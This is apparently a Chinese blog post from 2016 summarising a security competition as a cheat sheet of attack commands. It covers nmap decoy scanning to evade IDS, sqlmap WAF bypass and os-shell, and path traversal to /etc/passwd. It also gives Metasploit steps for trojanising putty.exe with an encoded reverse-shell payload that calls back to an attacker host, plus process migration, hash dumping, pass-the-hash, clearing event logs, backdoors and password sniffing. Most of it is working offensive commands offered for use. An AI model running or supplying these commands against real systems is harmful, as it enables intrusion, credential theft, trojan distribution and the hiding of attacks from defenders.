蓝盾比赛总结

本文总阅读量
Posted by Xiaoxi on May 28, 2016

1. Nmap

首先使用nmap探测内网服务器 ​ 主机发现 nmap -sn -T4 ip/24(断网环境) nmap -Pn ip/24(有网环境) 万能开关 -A
返回详细内容 -vv 完整全面的扫描 nmap –T4 –A –v targethost 脚本使用 nmap –script=brute 192.168.137.* 提供暴力破解的方式 可对数据库,smb,snmp等进行简单密码的暴力猜解 nmap –script=default 192.168.137.* 或者 nmap -sC 192.168.137.* 默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击 IDS规避 nmap -v -F -Pn -D192.168.1.100,192.168.1.102,ME -e eth0 -g 3355 192.168.1.1 其中,-F表示快速扫描100个端口;-Pn表示不进行Ping扫描;-D表示使用IP诱骗方式掩盖自己真实IP(其中ME表示自己IP);-e eth0表示使用eth0网卡发送该数据包;-g 3355表示自己的源端口使用3355;192.168.1.1是被扫描的目标IP地址。 nmap –script=vuln 192.168.137.* 检查是否存在常见漏洞 假设检查ms08067 nmap -P0 –script=smb-check-vulns 10.10.10.130


2.sqlmap

备注:(注入的时候最好把设定-v 3 -l 3)

  1. 检索当前数据库和当前用户

    sqlmap -u target.com --cookie="1231" -b --current-db -current-user
    

    -b:获取DBMS banner 还有–os用于探测数据库服务器系统 –is-dba 判断当前用户是否为管理 –users 列出所有管理用户 –passwords列出并破解数据库用户的hash –privileges 列出数据库管理员权限

  2. 挖取数据库 –dbs(-D) 挖取表 –tables(-T) 挖取列 –columns(—C) 挖掘详细内容 –dump
  3. 读文件 -r test.txt 这里加载HTTP请求 加载文本为-m
  4. 载入过滤插件 –tamper(这个一般用于绕过waf) 这个具体参照:http://drops.wooyun.org/tools/4760 加载多个可用逗号隔开即可 ​ python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_int.php?id=1” –tamper tamper/between.py,tamper/randomcase.py,tamper/space2comment.py -v 3
  5. 伪静态注入 有些web服务器进行了url rewrite或者网站是伪静态的,无法直接提供测试参数,这样子可以使用*来代替要测试的参数。
  6. 请求延迟 在注入过程中请求太频繁的话可能会被防火墙拦截,这时候–delay参数就起作用了。可以设定两次HTTP请求间的延时。有的web程序会在多次错误访问后屏蔽所有请求,这样就导致之后所有的测试无法进行,绕过这个策略可以使用–safe-url,每隔一段时间去访问一个正常的页面。
  7. post注入 有两种方法来进行post注入,一种是使用–data参数,将post的key和value用类似GET方式来提交。二是使用-r参数,sqlmap读取用户抓到的POST请求包,来进行POST注入检测。

    python sqlmap.py -u "http://www.target.com/vuln.php" --data="id=1" -f --banner --dbs --users
    
  8. 拆分字符 –param-del

    python sqlmap.py -u "http://www.target.com/vuln.php" --data="query=foobar;id=1" --param-del=";" -f --banner --dbs --users
    
  9. 避免过多的错误请求被屏蔽
    1. –safe-url:提供一个安全不错误的连接,每隔一段时间都会去访问一下。
    2. –safe-freq:提供一个安全不错误的连接,每次测试请求之后都会再访问一边安全连接。
  10. 有时候需要在一些环境的前面或者后面加一些字符,保证payload正常运行,就需要参数–prefix,–suffix 例如,代码中是这样调用数据库的: ​ $query = “SELECT * FROM users WHERE id=(’” . $_GET[’id’] . “’) LIMIT 0, 1”; 这时你就需要–prefix和–suffix参数了: python sqlmap.py -u “http://192.168.136.131/sqlmap/mysql/get_str_brackets.php?id=1” -p id –prefix “’)” –suffix “AND (’abc’=’abc” 这样执行的SQL语句变成:
$query = “SELECT * FROM users WHERE id=(’1’) AND (’abc’=’abc’) LIMIT 0, 1";
  1. 有时候–tables 无法获取到数据库表时,可用使用–common-tables爆破表名 同理 –common-columns 你懂的
  2. 如果当前用户有权读取文件,可用使用–file-read
python sqlmap.py -u “http://192.168.136.129/sqlmap/mssql/iis/get_str2.asp?name=luther” --file-read “C:/example.exe” -v 1

同理 文件上传到服务器操作 –file-write,–file-dest

python sqlmap.py -u “http://192.168.136.129/sqlmap/mysql/get_int.aspx?id=1” –file-write "/software/nc.exe.packed” –file-dest “C:/WINDOWS/Temp/nc.exe” -v 1
  1. 运行操作系统命令 –os-cmd,–os-shell
python sqlmap.py -u “http://192.168.136.131/sqlmap/pgsql/get_int.php?id=1” --os-cmd id -v 1 –os-shell 得到不同的四种shell(ASP、ASPX、PHP、JSP) –os-pwn 该指令可与metasploit交互 –os-cmd for windows
  1. cookie注入
sqlmap.py -u ‘target web’ –cookie=’2313’ 即可

3.metasploit

常用指令

  1. help
  2. search
  3. show options
  4. show payload
  5. set RHOST
  6. show target
  7. jobs 可以进一步查看进行攻击的模块
  8. exploit
  9. 修改模块后 再次攻击 rexploit
  10. session -l 查看你控制的电脑 session -i 4 查看id为4的被控制机
  11. getsystem 利用漏洞,自动提权为SYSTEM
  12. execute
  13. clearev 清除事件日志
  14. 查看具体信息 info
  15. getwd 得到当前目录
  16. upload -h 上传文件或文件夹到目标机器中 upload netcat.exe c:\
  17. download C:\“Program Files” 记得双斜杠进行转义
  18. 搜寻远程目标机上的文件 search -h
  19. 使用nmap
db_nmap -sP 10.10.10.0/24 对存活ip扫描 db)nmap -p 1-65535 -sV 10.10.10.144 services 查看扫描得到的服务状态
  1. show exploits 显示所有可用的渗透攻击模块
  2. show options 显示当前参数的所有内容
  3. show payload 查找适合这个攻击的攻击载荷
  4. show targets 具体列出受到漏洞影响目标的类型
  5. info 得到详细信息
  6. auxiliary/scanner/ssh/ssh_login:通过密码字典破解ssh帐号密码
  7. run post/windows/gather/smart_hashdump 获取哈希
  8. gituidServer 获取明文密码

##psnuffle 口令嗅探 建议在比赛中一直开启

使用过程 ​ use auxiliary/sniffer/psnuffle run 即可

nessus

load nessus装载nessus

nessus_connect 连接nessus服务器

nessus_save 保存nessus登录信息会话

nessus_logout 退出nessus服务器

nessus_help 列出nessus命令

nessus_server_status 检查Nessus服务器的状态

nessus_admin 检测用户是否是管理员

nessus_server_feed Nessus提供的类型

nessus_find_targets 在报告中找一个攻击目标(有漏洞)

nessus_server_prefs 显示服务器控制台

nessus_report_list 列出Nessus报告

nessus_report_get 导入另一个nessus服务器的报告

nessus_report_hosts 列出主机的报告

nessus_report_host_ports 列出主机开放的端口报告

nessus_report_host_detail 列出一个主机的详细的报告

nessus_scan_new 创建一个Nessus的扫描

nessus_scan_status 列出全部Nessus扫描状态

nessus_scan_pause 暂停一个Nessus扫描

nessus_scan_pause_all 暂停全部Nessus扫描

nessus_scan_stop 停止一个Nessus扫描

nessus_scan_stop_all 停止全部Nessus扫描

nessus_scan_resume 重新开始一个Nessus扫描

nessus_scan_resume_all 重新开始全部Nessus扫描

nessus_plugin_list 列出全部插件

nessus_plugin_family 列出一个插件家族

nessus_plugin_details 列出一个特定插件

nessus_user_list 显示Nessus用户

nessus_user_add 添加一个Nessus用户

nessus_user_del 删除一个Nessus用户

nessus_user_passwd 改变Nessus用户的密码

nessus_policy_list 列出全部策略

nessus_policy_del 删除一个策略

辅助模块之wmap

load wmap
help
wmap_sites -a http://202.112.50.74
wmap_sites -l
wmap_targets -t http://202.112.50.74
wmap_run -t 开启后,wmap会调用配置好的辅助模块对目标进行扫描
wmap_run -e 查看扫描后结果
vulns 自动依据扫描后工作进行攻击 ## XSSF模块

load xssf  加载该模块
xssf_urls  查看xssf攻击配置文件
xssf_victims

使用Nessus

  1. db_destroy postgres:toor@127.0.0.1/msf3 删除现有数据库
  2. db_connect postgres:root@127.0.0.1/msf3
    1. load nessus
    2. nessus_help 使用该指令可以找到提示
    3. nessus_connect dookie:s3cr3t@192.168.1.101:8834 ok
    4. nessus_policy_list
    5. nessus_scan_new
    6. nessus_scan_status
    7. nessus_report_list

      木马制作

      1. 选定攻击载荷

      msfpayload -l | grep ‘windows’ | grep ‘reverse_tcp’ | grep ‘meterpreter’ msfpayload -l 列出攻击载荷 返回 目标主机 windows ,有回连至监听主机的能力,并支持后渗透功能的木马制作程序 选择查看详细内容 msfpayload windows/meterpreter/reverse_tcp O

      2. 将攻击载荷进行编码

      这里一般是用msfencode

eg

msfpayload /windows/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=80 R | msfencode -t exe /root/example_01/putty.exe -k -o putty_backdoor.exe -e x86/shikata_ga_nai -c 5 第一个参数/windows/meterpreter/reverse_tcp 代表要使用的攻击模块 LHOST是木马需要回连队地址 LPORT 是回连端口 R 表示输出原始二进制格式的攻击载荷 通过管道|连接作为msfencode的输入 -t exe 表示输出为exe格式的可执行文件 -x /root/example_o1/putty.exe 表示以原始的putty.exe作为木马载体模版 -k 参数保持作为模版的程序可运行,并在新线程中运行攻击载荷 -o 制定产生带有攻击载荷的文件吗 -e x86/shikata_ga_nai 表示对输出文件进行编码 -c 5 表示编码操作要迭代5次

3. 测试木马的功效

可以在本地进行测试

  1. 使用msfcli开启监听

    msfcli exploit/multi/handler PAYLOAD=windows/meterpreter/reverse_tcp LHOST=10.10.10.128 LPORT=80 E
    
  2. 然后点击刚刚运行制作的putty.exe 在测试主机打开时,攻击机就收到了”Sending the payload handler”
  3. 下一步,需要将木马迁移到一个不会被关闭的进程上(因为不迁移,一旦putty.exe被关闭了,我们的木马就无效了)

    run migrate explorer.exe 迁移到explorer.exe 进程


一些后渗透命令

  1. ipconfig
  2. portfwd端口转发工具 假设目标端口开启了3389端口,我们可以使用下面的指令转发到本地1234端口 portwd add -l 1234 -p 3389 -r 192.168.10.142(对方ip) 接下俩使用本地的rdesktop连接本地1234端口 rdesktop -u admin -p 1234 127.0.0.0:1234
  3. route
  4. search 搜索
  5. ps 运行的程序
  6. migrate 转移到另外一个进程
  7. execute 在目标机器上执行文件 execute -H -f cmd.exe 隐藏执行cmd.exe 若想直接与cmd交互,execute -H -i -f cmd.exe
  8. 权限提升 getsystem -h
  9. 获取哈希

    use priv
    run post/windows/gather/hashdump
    

传递哈希值

	use windows/smb/psexec
	set PAYLOAD windows/meterpreter/reverse_tcp
	set LHOST 192.168.33.129
	set LPORT 443
	set RHOST 192.168.33.130
	set SMBPass 31312313131231
	exploit

杂项辅助

use exploit/multi/handler set PAYLOAD windows/meterpreter/reverse_tcp metsvc后门 http://www.phreedom.org/software/metsvc/ use exploit/multi/handler set PAYLOAD windows/metsvc_bind_tcp

smb扫描

smb枚举auxiliary/scanner/smb/smb_enumusers

返回DCERPC信息auxiliary/scanner/smb/pipe_dcerpc_auditor

扫描SMB2协议auxiliary/scanner/smb/smb2

扫描smb共享文件auxiliary/scanner/smb/smb_enumshares

枚举系统上的用户auxiliary/scanner/smb/smb_enumusers

SMB登录auxiliary/scanner/smb/smb_login

SMB登录use windows/smb/psexec(通过md5值登录)

扫描组的用户auxiliary/scanner/smb/smb_lookupsid

扫描系统版本auxiliary/scanner/smb/smb_version

空闲增量扫描auxiliary/scanner/ip/ipidseq

mssql扫描(端口tcp1433udp1434)

admin/mssql/mssql_enum MSSQL枚举

admin/mssql/mssql_exec MSSQL执行命令

admin/mssql/mssql_sql MSSQL查询

scanner/mssql/mssql_login MSSQL登陆工具

scanner/mssql/mssql_ping 测试MSSQL的存在和信息

smtp扫描

smtp枚举auxiliary/scanner/smtp/smtp_enum

扫描smtp版本auxiliary/scanner/smtp/smtp_version

snmp扫描

通过snmp扫描设备auxiliary/scanner/snmp/community

ssh扫描

ssh登录auxiliary/scanner/ssh/ssh_login

ssh公共密钥认证登录auxiliary/scanner/ssh/ssh_login_pubkey

扫描ssh版本测试auxiliary/scanner/ssh/ssh_version

telnet扫描

telnet登录auxiliary/scanner/telnet/telnet_login

扫描telnet版本auxiliary/scanner/telnet/telnet_version

tftp扫描

扫描tftp的文件auxiliary/scanner/tftp/tftpbrute

ARP扫描auxiliary/scanner/discovery/arp_sweep

IPv6的邻居发现auxiliary/scanner/discovery/ipv6_neighbor

扫描UDP服务的主机auxiliary/scanner/discovery/udp_probe

检测常用的UDP服务auxiliary/scanner/discovery/udp_sweep

ftp版本扫描scanner/ftp/anonymous

sniffer密码auxiliary/sniffer/psnuffle

snmp扫描scanner/snmp/community

vnc扫描无认证扫描scanner/vnc/vnc_none_auth

扫描X服务器scanner/x11/open_x11

php攻击exploit/unix/webapp/php_include

指定攻击浏览器server/browser_autopwn


4.密码破解

Medusa [-h host -H file] [-u username -U file] [-p password -P file] [-C file] -M module [OPT]

5. 其它

  1. 目录穿越漏洞 ../…/…/../../etc/passwd%00
  2. sql相关 Mysql information_schema table_schema version() database()